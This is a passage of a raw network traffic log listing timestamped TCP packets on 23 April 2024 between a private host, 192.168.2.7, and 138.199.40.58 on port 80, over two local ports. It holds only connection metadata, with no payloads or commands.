Apr 23, 2024 08:39:58.498565912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.498601913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.498637915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.498662949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.498699903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.499377966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.499456882 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.499528885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.499577999 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.499603987 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.499695063 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.500222921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.500258923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.500344992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.500422001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.500452995 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.500472069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.500885010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.500925064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.501543045 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.501893044 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.501940012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.501976967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.502012968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.502038956 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.502254009 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.502418995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.502455950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.502490997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.502528906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.502554893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.503992081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.504034042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.504043102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.504126072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.504188061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.504203081 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.504321098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.504344940 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.504414082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.504450083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.504487038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.504518986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.505269051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.505795002 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.505832911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.505867958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.505886078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.505893946 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.506150961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.506192923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.506205082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.506212950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.506216049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.506237030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.507807016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.507821083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.507831097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.507844925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.507874966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.507896900 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.508150101 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.508347034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.508366108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.508400917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.508488894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.508511066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.509154081 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.509902954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.509916067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.509927988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.509939909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.509960890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.509977102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.509999990 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.510035038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.510046959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.510059118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.510067940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.511620998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.511643887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.511707067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.511718988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.511729956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.511749029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.511766911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.511780977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.511822939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.511826038 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.511863947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.511876106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.512137890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.513269901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.513287067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.513298035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.513351917 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.513371944 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.513427973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.513456106 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.513463020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.513473988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.513495922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.513515949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.513691902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.515170097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.515228987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.515248060 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.515290976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.515314102 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.515356064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.515377998 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.515388966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.515450954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.515533924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.515557051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.515584946 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.516853094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.516865969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.516948938 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.516953945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.516982079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.517019033 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.517041922 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.517055035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.518021107 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.518552065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.518575907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.518630981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.518651962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.518655062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.519016027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.520014048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.520025969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.520036936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.520068884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.520090103 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.520220995 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.520406961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.520489931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.520550013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.520569086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.520674944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.520756960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.520842075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.520863056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.520885944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.520906925 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.520946980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.521015882 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.521475077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.521543026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.521605015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.521661043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.521683931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.521698952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.522083998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.522171021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.522273064 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.522344112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.522397041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.522625923 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.523149967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.523221970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.523299932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.523340940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.523377895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.523468971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.523781061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.523844957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.523919106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.523940086 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.523973942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.524061918 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.525252104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.525358915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.525460005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.525471926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.525527954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.525527954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.525594950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.525739908 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.525784016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.525804043 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.525824070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.526617050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.526681900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.526705027 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.526736021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.526761055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.526798010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.526926041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.526945114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.527000904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.527066946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.527076006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.527108908 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.527198076 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.528459072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.528614044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.528662920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.528729916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.528753042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.529151917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.529268980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.529313087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.529489994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.529511929 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.529532909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.529575109 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.530061960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.530159950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.530210972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.530235052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.530257940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.530335903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.530493021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.530505896 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.530550957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.530569077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.530694962 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.531631947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.531663895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.531686068 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.531728983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.531752110 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.531877995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.531981945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.532084942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.532187939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.532244921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.532265902 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.532342911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.532888889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.533737898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.533833981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.533946991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.534002066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.534023046 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.534060001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.534073114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.534136057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.534194946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.534254074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.534302950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.534323931 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.534375906 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.534396887 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.535505056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.535562038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.535621881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.535696030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.535703897 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.535703897 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.535792112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.535831928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.535881042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.535882950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.535918951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.536070108 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.536115885 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.536159039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.536290884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.536498070 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.537193060 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.537225008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.537298918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.537359953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.537389040 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.537446976 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.537600994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.537678957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.537708044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.537734032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.537817001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.537873030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.537898064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.539191961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.539232969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.539302111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.539365053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.539406061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.539429903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.539459944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.539531946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.539556026 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.539666891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.539742947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.539767981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.539874077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.540064096 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.540780067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.540848017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.540919065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.541129112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.541155100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.541224957 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.541227102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.541328907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.541359901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.541456938 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.541579008 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.541603088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.542172909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.542226076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.542227983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.542238951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.542294979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.542324066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.542346954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.542478085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.542607069 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.542682886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.542707920 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.542907000 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.542972088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.543044090 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.543770075 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.543874025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.543941021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.544074059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.544126034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.544182062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.544213057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.544235945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.544349909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.544398069 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.544424057 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.544429064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.545058966 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.545340061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.545475006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.545588017 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.545665026 CEST	80	49704	138.199.40.58	192.168.2.7
